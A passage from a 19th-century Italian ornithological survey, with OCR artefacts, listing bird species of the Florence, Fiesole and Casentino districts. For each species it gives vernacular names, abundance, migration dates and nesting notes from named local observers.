(L.). Plegadis Falcinellus, Mignattone (Fucecchio). Scarso, ma ogni anno si vede in aprile-maggio e settembre (T.); molto più raro in autunno, ne ebbi un giovane da Campi- Bisenzio il 1° ottobre 1881. Cygnus musicus, Cigno selvatico. Scarso d'inverno (T.): ra- ramente si vedono (Fo.). Cygnus Bewicki. Una femmina giovane di questa rara spe- cie venne uccisa nel padule di Fucecchio il 23 marzo 1888, dal signor Luigi Ancuri, il quale ne fece gene- roso dono alla Collezione centrale dei Vertebrati ita- liani nel R. Museo di Firenze. Bernicla ruficollis. Accidentale (Avif. Ital. pag. 298). Anser cinereus, Oca selvatica. Scarsa in novembre e marzo (L. T.); non tanto rara (Fo.). Anser segetum, Oca selvatica. Passa in novembre, marzo ed aprile (L. T.); non se ne vedono più (F.); non rara (Fo.). Anas Boscas, Germano. Frequente, di passo in agosto-set- tembre e febbraio-marzo; alcuni svernano, alcuni ni- dificano (L. T.); comune ai due passi (Fo.). Chaulelasmus streperus, Marigiano (Fucecchio), Canapiglia. Scarsa in febbraio e marzo (T.); rara (Fo.). Spatula clypeata, Mestolone. Frequenti in settembre, novem- bre e marzo (L. T. Fo.). Dafila acuta, Codone. Frequenti in settembre-novembre e febbraio-marzo (L. T. Fo.). Mareca Penelope, Fischione. Frequenti in settembre-novem- bre e febbraio-marzo (L. T. Fo.). Nettion Crecca, Bozzoletto (Fucecchio), Alzavola, Germanello. Comune di passo in settembre-novembre e febbraio- marzo; qualcuna nidifica (L. T. Fo.). Querquedula Circia, Marzolo, Granaiolo (Fucecchio), Marzaio- la, Carrucola (Sesto). Frequentissima nel febbraio-mar- zo-aprile, più scarsa in settembre (L. T. Fo.); avrebbe anche nidificato nel Fassine (Fo.). Fuligula rufina, Germano turco. Poco frequente in novem- bre (L. T.); scarso (Fo.). Fulix ferina, Morettone (Fucecchio). Morigiana (Sesto). Fre- quenti in novembre e febbraio-marzo (L. T.); comu- ne (Fo.). Fulix Marila, Moretta nera. Poco frequente in novembre (L. Fo.). Fulix Fuligula, Moretta turca. Frequente assai in febbraio-marzo (L. T. Fo.). Fulix Nyroca, Moretta tabaccata. Frequente in novembre, febbraio-marzo (L. T. Fo.). Bucephala Clangula, Quattr’occhi. Scarsi gli adulti frequenti i giovani in novembre e dicembre. Harelda glacialis, Moretta codona. Accidentale in novembre (T.); conservo un giovane ucciso presso Prato (Avif. Ital. pag. 319). Mergus Merganser. Accidentale, ne conservo uno ucciso a Borgo San Lorenzo il 28 dicembre 1878 (Avif. Ital. pag. 325). Mergus Serrator, Seghettone. Scarso (L.); invernale. Mergellus Albellus, Pescina. Frequente in febbraio-marzo (T.); scarsa (Fo.). Columba Palumbus, Colombaccio. Frequente al passo nella seconda quindicina di ottobre e primi di novembre ed in marzo (L. T.); scarso (G.); comune (Fo.). Columba Oenas, Colombella. Frequente di passo in ottobre, novembre e marzo (L. T. Fo.). Turtur tenera, Tortola, Tortora, Tortora selvatica. Frequente da aprile e settembre (L. T. G. Fo.). Starna Perdix, Starna. Accidentale in poggio (L.); piuttosto frequente ai monti (T.); sedentaria (F.); frequente e sedentaria (G.); si distingue in « bottaccia » e « scopa », in novembre alcune viaggiano (Fo.). Coturnix communis, Quaglia. Comune, giunge in marzo-aprile-maggio e nidifica, qualcuna rimane l’inverno (L. T.); partono o ripassano isolate dalla metà di agosto a tutto settembre, quelle che non covarono nel distretto si fermano poco (F.); frequente (G. Fo.). Rallus aquaticus, Porciglione (Fucecchio). Comune di passo in marzo-aprile e settembre-novembre, ma anche sedentaria (L. T.); scarsa (Fo.). Ortygometra Porzana, Teccola (Fucecchio). Comune di passo in marzo-aprile o settembre, anche nidificante (L. T’); frequente (Fo.). **Ortygometra Bailloni**, *Schiribilla* (Fucecchio), *Monachella*. Frequenti, giunge in marzo-aprile, nidifica e parte in settembre (L. T’); comune (Fo.). **Ortygometra parva**, *Schiribilla*, *Monachella*, *Puttanella* (Sesto). Frequenti, giunge in aprile, nidifica e parte o ripassa in settembre (L. T’); non comune (Fo.). **Crex pratensis**, *Re quaglio*. Scarso al piano, di doppio passo (T. Fo.). **Gallinula chloropus**, *Fiomalbo*, *Gallinella*, *Sciabica*. Frequenti di passo in marzo-aprile e settembre, anche sedentaria (L. T’). scarsa (Fo.). **Porphyrio cæruleus**, *Pollo sultano*. Accidentale in primavera (Fo.). **Fulica atra**, *Folaga*. Frequenti, sedentaria e di passo in settembre-novembre e marzo (L. T’); non comune (Fo.). **Grus communis**, *Grue* (Fucecchio). Scarsa (T. Fo.); una volta si vedevano spesso specialmente nel marzo (Fo.); ne conservo una colta a Prato il 6 dicembre 1879. **Otis Tarda**, *Otarda*. Accidentale, ne conservo un maschio adulto preso vicino a Firenze nell’inverno 1830 (Savi, Ornitologia Toscana, III, pag. 231). **Otis Tetraz**, *Gallina prataiola*. Accidentale (T.). **Ædicenmus scolopax**, *Martinellone* (Fucecchio), *Regino* (Sesto). Scarso (T’); poco frequente, giunge in aprile e parte in settembre-ottobre; nidifica in Chianti (Fo.). **Cursorius gallicus**. Accidentale in primavera (Fo.). **Charadrius Pluvialis**, *Martinello*. Frequenti di passaggio specialmente nel marzo (L. T. Fo.). **Eudromias Morinellus**, *Piviere tortolino*, *Capocchino* (Sesto). Scarso di passo (T’); divenuto di comparsa irregolare, anni fa ne incontrai sui monti di Stamiano sopra Vaglia (Fo.); lo ebbi in marzo ed in settembre. **Ægialitis cantiana**, *Corriere*. Non comune (Fo.); avuto in marzo, aprile e maggio. Ægialitis curonica, Corriere piccolo. Comune, estivo e nidificante (Fo.). Ægialitis Hiaticula, Corriere. Non comune (Fo.); avuto in marzo. Vanellus Capella, Miciola (Fucecchio), Pavoncella. Frequenti di passo in marzo ed aprile (L. T. Fo.); sverna in provincia, giungendo in ottobre-novembre. Hæmatopus Ostralegus, Beccaccia di mare. Scarsa, ne uccisi una presso Firenze nel marzo 1873 (Fo.); avuta l’11 aprile 1886 dal pian di Sesto fiorentino. Recurvirostra Avocetta, Lesina. Accidentale (T.); avuta da Campi-Bisenzio il 26 marzo 1883. Himantopus candidus, Cavalier d’Italia. Scarso in aprile (L. Fo.); avuto anche nel marzo. Phalaropus fulicarius. Accidentale, ne conservo uno ucciso a Borgo San Lorenzo nell’agosto 1870 (Avif. Ital. pag. 381). Pelidna maritima. Accidentale, ne ebbi uno da San Donnino, ucciso il 10 novembre 1883 (Avif. Ital. pag. 384). Pelidna subarquata, Piovanello. Frequenti in aprile e maggio (T. Fo.); avuto anche in settembre e ottobre. Pelidna alpina, Piovanello piccolo. Abbastanza frequenti in aprile e maggio (T. Fo.); avuta pure in marzo e novembre. Actodromas minuta, Cocchiume (Fucecchio), Gambeccio. Frequenti in maggio (T. Fo.); avuto anche in settembre. Machetes Pugnax, Gambetta. Comune di passo in marzo, aprile e maggio (T. Fo.); avuta pure in settembre. Tringoides Hypoleucus, Tirol-Tirol (Fucecchio), Pirullino. Sesto). Comune assai (T. Fo.); nidificante (Fo.). Totanus Ochropus, Pirullino (Sesto). Comune e forse nidificante (Fo.); avuto specialmente in marzo-aprile e settembre. Totanus Glareola, Pirullino (Sesto). Comune e forse nidificante (Fo.); avuto in aprile, marzo e luglio. Totanus stagnatilis, Gambettone (Sesto). Non raro in primavera (Fo.); avuto in marzo ed aprile. Totanus Calidris, Pettegola. Non rara, forse anche invernale, la ebbi in aprile e novembre. Totanus fuscus, Gambettone. Non raro in marzo, aprile, maggio e settembre. Totanus nebularius, Pantana. Non rara in aprile-maggio. Limosa melanura, Pittima. Frequenti in marzo-aprile (T. Fo.). Limosa rufa. Accidentale, ne conservo una presa presso Firenze nell’autunno 1839 (Avif. Ital. pag. 401); ed un’altra uccisa sull’Arno presso Firenze il 12 novembre 1887. Scolopax Rusticula, Beccaccia. Frequenti in novembre e marzo (L. T.); poche ed isolate si vedono (F.); frequenti, tutti distinguono una razza piccola o scopina, passo 15-30 marzo e 25 ottobre-20 novembre (G.); comune (Fo.). Gallinago major, Crocolone. Frequenti in aprile-maggio, scarso in ott.-nov. (L. T. Fo.); avuto anche in marzo. Gallinago caelestis, Beccaccino. Frequenti in agosto, settembre, ottobre, novembre e marzo (L. T. Fo.); avuto anche in febbraio, aprile e dicembre. Gallinago Gallinula, Pinzachio, Beccaccino mezzano, Vuotaborse. Frequenti in settembre-ottobre e marzo (L. T. Fo.); avuta anche in aprile e dicembre. Numenius Arquata, Chiurlo. Scarso nel marzo (T.); non raro (Fo.); avuto anche in aprile. Numenius tenuirostris, Chiurlotto. Scarso nell’inverno. Numenius Phæopus, Chiurletto. Scarso nel marzo (T.). Glareola Pratincola, Pernice di mare. Scarsa, avuta da Peretola il 1° giugno 1878. Thalasseus cantiacus, Beccapescei. Accidentale (T.). Sterna fluviatilis, Rondine di mare. Scarsa in primavera (T.). Sternula minuta, Fraticello. Scarso in aprile-maggio (T.). Hydrochelidon leucoptera, Anima di Sbirro. Frequenti in primavera (Fo.); ne ho veduto qualche anno in maggio sull’Arno entro Firenze. Hydrochelidon nigra, Anima di Sbirro. Comune assai al passo in primavera (Fo.); avuta in aprile ed in settembre. Chroocephalus ridibundus, Piccione di mare (Sesto). Comune in primavera coi forti libeccii (Fo.). Larus cachinnans, Mugnajaccio. Raro coi forti libeccii (Fo.). Colymbus arcticus, Strolaga. Scarsa nell’inverno (T.). Colymbus septentrionalis, Strolaga. Ne conservo una uccisa a Fucecchio il 10 gennaio 1879. Podiceps cristatus, Svasso. Non tanto raro, ne ebbi due dal padule di Fucecchio il 9 aprile 1885 ed il 14 aprile 1887 un altro da Ugnano (Firenze) il 30 dicembre 1878. Podiceps nigricollis, Svasso piccolo. Scarso (T.); avuto in aprile da Fucecchio. Podiceps fluviatilis, Tuffetto, German botta (Sesto). Scarso nell’aprile (T.); non comune, ma si vede in ogni stagione (Fo.). Elenco delle specie di uccelli le quali nidificano nel distretto di Fiesole, provincia di Firenze.¹ Garrulus glandarius. Emberiza Hortulana. Fringilla cœlebs. Alauda arvensis. Passer montanus. Alauda arborea. Passer Italiæ. Galerita cristata. Petronia stulta. Motacilla alba. Coccothraustes vulgaris. Calobates melanope. Ligurinus Chloris. Saxicola Oenanthe. Carduelis elegans. Monticola saxatilis. Serinus hortulanus. Monticola Cyanus. Cannabina Linota. Merula nigra. Loxia Curvirostra. Turdus viscivorus. Miliaria Projer. Aëdon Luscinia. Emberiza Cirlus. Ruticilla Phœnicurus. ¹ Compilato dal signor D. Gargioli, il quale premette questa osservazione: « Il barbaro è vergognoso uso di togliere impunemente uova, pulcini e nidi impedisco di fare osservazioni minute ed esatte sulla nidificazione degli uccelli in questo distretto. » Pratincola Rubicola. Sylvia orphaea. Sylvia Curruca. Sylvia cinerea. Sylvia subalpina. Monachus Atricapillus. Monachus hortensis. Phylloscopus sibilator. Phylloscopus Bonellii. Hypolais icterina. Hypolais polyglotta. Parus major. Oriolus Galbula. Lanius minor. Lanius Collurio. Lanius auriculatus. Hirundo rustica. Chelidon urbica. Cypselus Apus. Caprimulgus europaeus. Gecinus viridis. Iynx Torquilla. Cuculus canorus. Upupa Epopis. Strix flammea. Scops Giu. Athene Noctua. Cerchneis Tinnunculus. Accipiter Nisus. Turtur tenera. Starna Perdix. Coturnix communis. Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Firenze, distretto di Fiesole, colle indicazioni dell’arrivo e della partenza: Alauda arborea. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 1° ottobre al 10 novembre. Alauda arvensis. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 20 novembre. Scops Giu. A. Primavera, dal 25 marzo al 15 aprile. A. Estate, dal 16 agosto al 15 settembre. Lanius auriculatus. A. Primavera, dal 25 aprile al 15 maggio. S. Estate, dal 15 agosto al 15 settembre. Lanius Collurio. A. Primavera, dal 25 aprile al 15 maggio. A. Estate, dal 15 agosto al 15 settembre. 1 Questo elenco fatto con grande accuratezza dall’ottimo D. Gar-gioli ha un solo difetto, l’ordinazione, che egli fece disponendo in serie alfabetica i nomi volgari; io ho sostituito i nomi scientifici, ma non ho potuto mutar l’ordine adottato. Le lettere iniziali A ed S, signifi-cano: abbondante e scarso. Lanius minor. A. Primavera, dal 25 aprile al 15 maggio. S. Estate, dal 15 agosto al 15 settembre. Chelidon urbica. A. Primavera, dal 30 marzo al 15 aprile. A. Estate e Autunno, dal 1° settembre al 15 ottobre. Motacilla alba. S. Primavera, dal 15 marzo al 10 aprile. A. Estate e Autunno, dall’8 ottobre al 15 novembre. Scolopax Rusticula. A. Primavera, dal 15 al 30 marzo. A. Autunno, dal 25 ottobre al 20 novembre. Hypolais icterina. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Monachus hortensis. S. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Sylvia Curruca. S. Primavera, dal 15 al 30 aprile. S. Estate, dal 15 agosto al 20 settembre. Sylvia orphaea. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Upupa Epopis. A. Primavera, dal 1° al 15 aprile. A. Estate, dal 15 agosto al 20 settembre. Agrodroma campestris. S. Primavera, dal 10 al 25 aprile. S. Estate, dal 15 agosto al 20 settembre. Ligurinus Chloris. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre all’8 novembre. Monachus Atricapillus. A. Inverno, dal 20 febbraio al 20 marzo. S. Autunno, dal 25 settembre al 15 ottobre. Carduelis elegans. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Turdus pilaris. A. Inverno, dal 20 gennaio al 20 febbraio. S. Autunno, dal 25 ottobre al 20 novembre. Poecile palustris. S. Inverno, dal 20 febbraio al 20 marzo. A. Autunno, dal 10 ottobre al 10 novembre. Parus major. A. Inverno, dal 20 febbraio al 20 marzo. A. Autunno, dal 10 ottobre al 10 novembre. Cyanistes caeruleus. S. Inverno, dal 20 febbraio al 20 marzo. S. Autunno, dal 10 ottobre al 10 novembre. Pyrrhula europaea. S. Primavera, dal 15 marzo al 10 aprile. S. Autunno, dal 20 ottobre al 20 novembre. Ruticilla Phoenicurus. S. Primavera, dal 20 marzo al 10 aprile. A. Autunno, dal 15 settembre al 15 ottobre. Monticola saxatilis. A. Primavera, dal 1° al 20 aprile. S. Estate, dal 15 agosto al 20 settembre. Columba Palumbus. S. Inverno, dal 1° al 20 marzo. S. Autunno, dal 1° al 30 ottobre. Corvus Cornix. S. Inverno, dal 1° al 20 marzo. A. Autunno, dal 15 ottobre al 10 novembre. Corvus frugilegus. S. Inverno, dal 1° al 20 marzo. A. Autunno, dal 15 ottobre al 10 novembre. Cuculus canorus. A. Primavera, dal 5 al 20 aprile. S. Estate, dal 15 agosto al 20 settembre. Calobates melanope. S. Primavera, dal 15 marzo al 10 aprile. S. Autunno, dall’8 ottobre al 15 novembre. Fringilla coelebs. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Regulus ignicapillus. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Coccothraustes vulgaris. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Cerchneis Tinnunculus. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Garrulus glandarius. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 15 novembre. Chrysomitris Spinus. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 10 novembre. Phylloscopus Bonellii. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Phylloscopus Trochilus. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 25 settembre al 1° novembre. Phylloscopus sibilator. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Saxicola Oenanthe. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Merula nigra. A. Primavera, dal 1° al 30 marzo. A. Autunno, dal 20 ottobre al 20 novembre. Cannabina Linota. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Caprimulgus europaeus. A. Primavera, dal 1° al 15 aprile. A. Estate, dal 15 agosto al 20 settembre. Emberiza Hortulana. A. Primavera, dal 25 aprile al 15 maggio. A. Estate, dal 15 agosto al 20 settembre. Passer Italiæ. A. Autunno, dal 1° ottobre all’8 novembre. Petronia stulta. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 1° ottobre all’8 novembre. Passer montanus. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 1° ottobre all’8 novembre. Accentor modularis. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 10 ottobre al 15 novembre. Fringilla Montifringilla. S. Primavera, dal 15 al 30 marzo. A. Autunno, dal 20 ottobre al 20 novembre. Erithacus Rubecula. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 10 novembre. Butalis Grisola. S. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Anthus pratensis. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 20 novembre. Anthus cervinus. S. Primavera, dal 15 marzo al 10 aprile. S. Autunno, dal 15 ottobre al 20 novembre. Anthus trivialis. A. Primavera, dal 1° al 30 aprile. A. Estate ed Autunno, dal 10 agosto al 10 ottobre. Coturnix communis. A. Primavera, dal 10 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Certhia brachydactyla. S. Autunno, dal 25 settembre al 10 novembre. Serinus hortulanus. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre al 15 novembre. Troglodytes parvulus. A. Primavera, dal 15 al 30 marzo. A. Autunno, dal 20 ottobre al 20 novembre. Oriolus Galbula. A. Primavera, dal 25 aprile al 15 maggio. S. Estate, dal 15 agosto al 15 settembre. Hirundo rustica. A. Primavera, dal 19 marzo al 15 aprile. A. Estate, dal 15 agosto al 30 settembre. Cypselus Apus. A. Primavera, dal 1° al 15 aprile. A. Estate, dal 25 luglio al 15 agosto. Aëdon Luscinia. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Pratincola Rubicola. A. Primavera, dal 1° al 30 marzo. A. Autunno, dal 1° al 30 ottobre. Accipiter Nisus. A. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dall’8 ottobre all’8 novembre. Anthus Spipoletta. S. Primavera, dal 15 marzo al 10 aprile. S. Autunno, dal 15 ottobre al 20 novembre. Starna Perdix. A. Autunno dal 20 settembre al 30 ottobre. Sylvia cinerea. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Sylvia subalpina. A. Primavera, dal 15 al 30 aprile. A. Estate, dal 15 agosto al 20 settembre. Pratincola Rubetra. S. Primavera, dal 15 al 30 aprile. S. Estate, dal 15 agosto al 20 settembre. Sturnus vulgaris. A. Primavera, dal 1° marzo al 15 aprile. S. Autunno, dal 1° ottobre al 15 novembre. Miliaria Projer. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 15 novembre. Iynx Torquilla. A. Inverno, dal 20 febbraio al 1° aprile. A. Estate dal 15 agosto al 20 settembre. Turdus viscivorus. A. Inverno, dal 20 gennaio al 20 febbraio. A. Autunno, dall’8 ottobre al 15 novembre. Turdus musicus. A. Inverno, dal 20 gennaio al 20 marzo. A. Autunno dal 5 ottobre al 10 novembre. Turdus iliacus. A. Inverno, dal 20 gennaio al 1° marzo. A. Autunno, dal 20 ottobre al 20 novembre. Turtur tenera. A. Primavera, dal 15 aprile al 5 maggio. A. Estate, dal 15 agosto al 20 settembre. Emberiza Citrinella. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 20 novembre. Emberiza Cia. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 20 novembre. Emberiza Cirlus. S. Primavera, dal 15 marzo al 10 aprile. A. Autunno, dal 15 ottobre al 20 novembre. Galerita cristata. Da qui non fa passo. Strix flammea. Da qui non fa passo. Athene Noctua. Da qui non fa passo. Acredula Irbyi. Fa passo irregolarissimo, ed ho veduto i primi, in alcuni anni nel mese di settembre, ed in altri nel novembre inoltrato. Pica rustica. Capita qui irregolarmente, e non tutti gli anni: l’ho veduta nei mesi di aprile e di ottobre. Hypotriorchis Subbuteo. I pochi individui, da me presi, capitarono sul finire del mese di settembre ed ai primi di ottobre. Monticola Cyanus. Da qui non fa passo, e se ne trovano pochissime. Picus major. Da qui non fa passo, e se ne trovano pochissimi. Gecinus viridis. Da qui non fa passo, e se ne trovano pochissimi. Alcedo Ispida. Da qui non fa passo, e se ne trovano pochissimi. Arezzo, distretto del Casentino (Beni avv. cav. Carlo, Fiorini Pietro, Pauer nob. Giuseppe): Il Casentino confina a ponente col Valdarno Superiore, a maestro e tramontana col Mugello, a greco colla Romagna toscana, a levante colla Valle Tiberina, e a mezzogiorno col territorio di Arezzo. La valle Casentinese presenta la figura di un vasto anfiteatro cinto di monti aventi una elevazione media di metri 1300 sul mare, e derivanti dalla catena centrale degli Appennini, che da ogni parte lo circondano, aprendosi a mezzogiorno verso la pianura aretina. Il fiume Arno che nasce sul versante occidentale ¹ L’esperienza mi ha dimostrato impossibile precisare la quindicina del passo, giacché quello anticipa o ritarda a causa dei venti e delle variazioni dell’atmosfera (Garigioli). del monte Falterona (m. 1649) traversa il Casentino nel suo maggior diametro, cioè da tramontana a mezzogiorno. La costituzione geologica del Casentino è molto uniforme di origine e di natura. Prevalgono le rocce calcaree e arenarie, e in alcuni luoghi il cretaceo superiore. Riguardo all'età delle rocce sedimentarie e dei fossili che esse contengono si può dire non oltrepassino quella eocenica o cretacea, non esistendo traccia alcuna di produzioni vulcaniche. La valle Casentinese è irrigata da molti torrenti e altri minori corsi d'acqua, che tutti immettono nel fiume Arno. Nelle più elevate pendici crescono il Faggio e l'Abete; inferiormente il Castagno, la Querce e il Cerro. Nella bassa valle poi, e specialmente presso il fiume Arno, prevale la coltivazione campestre propria della Toscana. La vite si coltiva anche ad altezze rilevanti, e in alcuni luoghi privilegiati vegeta anche l'ulivo. Il clima è puro e salubre, ma assai rigido nel verno; fresco in estate; sono rare le nebbie. Prevalgono i venti di nord-est e ovest. La temperatura è molto variabile. Dopo lo sconsigliato diradamento delle foreste si è notato un prolungamento nella permanenza delle nevi e un ritardo della stagione primaverile (Beni). Il distretto di osservazione è situato nella provincia di Arezzo ed è composto dalle frazioni di Serravalle, Soci e Farneta del comune di Bibbiena; Badia Prataglia, Maggiona, Sierna e Ragginopoli del comune di Poppi; è nel bacino idrografico dell'Arno e precisamente nei bacini secondari dei torrenti Archiano e Sova. È confinato: ad Est dal torrente Archiano; al Sud dalla strada provinciale Casentinese; ad Ovest dal torrente Sova e confine fra il comune di Poppi e quello di Pratovecchio; al Nord dalle creste dell'Appennino che divide la provincia di Arezzo da quella di Firenze. Questo distretto è situato parte in montagna e parte in collina, avendo una elevazione massima sul livello del mare di metri 1323 (Giogana vetta dell'Appennino) ed una elevazione minima di metri 317 (strada provinciale casentine). Per conseguenza si ha una grande variazione di clima ed una varietà notevole nella vegetazione; come infatti, partendo dal punto più basso del distretto, cioè dalle frazioni di Soci e Farneta dove vegeta rigogliosa la vite ed in alcuni punti anche l'ulivo, si passa alla vegetazione della Querce e del Castagno e quindi a quella del Cerro, del Carpino, del Frassino e dell'Abeto che prospera molto bene, come si vede nella stupenda foresta di Camaldoli, e per ultimo il Faggio che misto con l'Acero o Riccio, ed al Larice, introdotto da pochi anni, coprono le vette eccelse dell'Appennino nel tratto detto della Giogana e nei contrafforti del medesimo di Catozzo, Tromignone, Muschio-so ec., ec. (Fiorini). Il Casentino, piccola regione all'oriente della Toscana, presenta la figura di un vasto anfiteatro che ha il fondo verde di prati, campi e vigneti, e viene cinta e come rinchiusa intorno, da belle montagne. Acque sonanti e purissime la irrigano tutta per traverso e per lungo. Alte e selvagge ne sono le giogane, con larghe vedute sopra un oceano di accatastate montagne, limitate ai due mari. Queste montagne che scendono dalla catena centrale degli Appennini, dividono il Casentino, a ponente dal Valdarno Superiore, a maestro e tramontana dalla Valle di Sieve, a greco dalla Romagna e a levante dalla Valle Tiberina, aprendosi poi a mezzogiorno per dare libero il corso al primo dei fiumi toscani che nasce sul versante occidentale della Falterona, e attraversa questa provincia nel suo maggiore diametro. I Cerri ed i Castagni coprono la parte inferiore della montagna, mentre i Faggi e gli Abeti ne rivestono le cime. Il clima del Casentino in generale, è più rigido nell'inverno di quello che lo comporti la sua geografica posizione, in ragione forse di trovarsi chiuso fra alti monti, la cui chioma in quella stagione suol esser carica di neve. L'elevazione media di questi può calcolarsi sui 1300 metri sul livello del mare. Molto uniforme di origine e di natura, puossi considerare la costituzione geologica del Casentino. L'ossatura dei più alti monti e di alcuni altri subalterni, è formata di rocce calcareo ed arenarie spesso alternate da schisti-mica-cei a grani più o meno fini. Verso il centro della Valle sono frequenti le breccette e nel più basso Casentino s'incontrano spesso le stratificazioni di calcare compatto a grana finissima. Riguardo ai resti di esseri organizzati, ricordo un vasto letto di lignite-torba lacustre fra Pratovecchio e Porrena (Pauer). Elenco delle specie di uccelli osservate nella provincia di Arezzo, distretto del Casentino, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione, ecc. ecc. Corvus Corax, Corvo reale. Raro, ma sedentario ai monti (F.). Corvus Cornix, Cornacchia. Ai monti e piano, sedentaria (B. F. P.). Corvus frugilegus, Corvo. Ai monti (B.) e piano (P.): invernale. Garrulus glandarius, Ghiandaja. Comune e sedentaria (B. P. F.). Nucifraga Caryocatactes. Accidentale (B.). Pyrrhocorax alpinus. Uno, femmina giovane, fu ucciso a Meriggio del Sacco, Alpe di Catenaia il 2 gennaio 1888, --- 1 Questo elenco è compilato colle liste e le notizie fornite dai signori cav. avv. Carlo Beni di Stia, Pietro Fiorini di Camaldoli e Giuseppe Pauer di Firenze e Pratovecchio. L'avv. Carlo Beni non solo ha formato in casa propria a Stia una collezione quasi completa e bellissima degli uccelli del Casentino, ma ha scritto una dotta ed interessantissima Guida illustrata del Casentino, Firenze, 1881 e 1889; ove alla pag. 194 (ediz. 1°) egli dà un elenco degli uccelli di quella bellissima regione. Ho indicato colle iniziali la parte che spetta a ciascuno degli osservatori. e donato dal cav. A. Gentili alla Collezione centrale dei Vertebrati italiani a Firenze (Giglioli). *Sturnus vulgaris*, *Storno*. Al piano, di passo in marzo ed ottobre (B.); specialmente autunnale (F. P.). *Fringilla coelebs*, *Fringuello*. Frequente ovunque e sedentario (B. F. P.); passa in marzo ed ottobre (B.). *Fringilla Montifringilla*, *Peppola*. Comune e fors'anche sedentaria (B. F.); invernale (P.). *Montifringilla nivalis*. Accidentale ai monti (B.). *Petronia stulta*, *Passera lagia*. Nidificante e comune ovunque (B.); sedentaria (P.). *Passer montanus*, *Passera mattugia*. Comune ovunque e sedentaria (B. P.). *Passer Italiæ*, *Passera*. Abbondante e sedentaria (B. F. P.). *Coccothraustes vulgaris*, *Frosone*. Frequente ai monti (B.); di doppio passo (F. P.). *Ligurinus Chloris*, *Calenzdlo*. Comune e nidificante ai monti (B.); sedentario (P.). *Chrysomitris Spinus*, *Lucherino*. Ai monti, scarso in ottobre (B. P.). *Carduelis elegans*, *Calderino*. Abbondante ai monti e sedentario (B. F. P.). *Serinus hortulanus*, *Raperino*. Frequent e nidificante ai monti (B.); sedentario (F. P.). *Cannabina Linota*, *Montanello*. Frequent e ovunque e nidificante (B.); sedentario (P.); e di doppio passo (F.). *Pyrrhula europæa*, *Becotto*. Ai monti in aprile e ottobre, vi nidifica (B. P.); sedentario (F.). *Loxia Curvirostra*. Raro ai monti (B. F.). *Miliaria Projer*, *Strillozzo*, *Sermollo*. Comune ai monti, passa in aprile e settembre (B. P.). *Emberiza Citrinella*, *Zigolo giallo*. Frequent e sedentario (B. F. P.); di passo in aprile e settembre-novembre (B.). *Emberiza Cirlus*, *Zigolo*. Comune e sedentario (B. F. P.): di passo in aprile e settembre-novembre (B.). *Emberiza Hortulana*, *Ortolano*. Estivo ai monti (B.): passa in aprile agosto e settembre (B. F. P.). Emberiza Cia, Zigolo, Muciatto. Frequento o nidificante (B.): sedentario (P.). Emberiza Schoeniclus, Zigolo. Scarso al piano (B.). Emberiza pyrrhuloides, Zigolo. Raro al piano (B.). Alauda arborea, Lodolino. Comune (B.); e sedentario (P. F.). Alauda arvensis, Lodola. Abbondante di passo in marzo ed ottobre e anco nidificante (B.); sedentaria (F. P.). Galerita cristata, Cappellaccia. Comune ai monti e sedentaria (B. P. F.). Agrodroma campestris, Lodolino, Re di Lodole. Comune, nidificante; passa in marzo ed ottobre (B. F.). Anthus pratensis, Pispola. Frequent assai al passo in aprile, scarsa in ottobre (B. F. P.). Anthus cervinus, Pispola. Rara (B.). Anthus trivialis, Pispolone. Comune, passa in aprile e settembre (B. P.). Anthus Spipoletta, Pispola, Fossaccio. Non comune (B. P.); sedentaria (F.). Budytes flavus, Strisciajola. Estivo e nidificante (B.). Budytes cinereocapillus, Strisciajola. Di doppio passo e forse estiva (B.); nidificante (P.). Motacilla alba, Batticoda, Batticodola nera. Abbondante e sedentaria (B. F. P.). Calobates melanope, Batticoda, Batticodola gialla. Frequent ai monti e sedentaria (B. F. P.). Saxicola Oenanthe, Culbianco. Frequent ai monti, estivo e di passo (P.). Monticola saxatilis, Codirossone, Tordo marino. Frequent ai monti, giunge in aprile, parte in settembre (B. P. F.). Monticola Cyanus, Passera solitaria. Frequent ovunque e sedentaria (B.); nidificante (P. F.). Merula nigra, Merlo. Comune ovunque e sedentario (B. F. P.). Merula 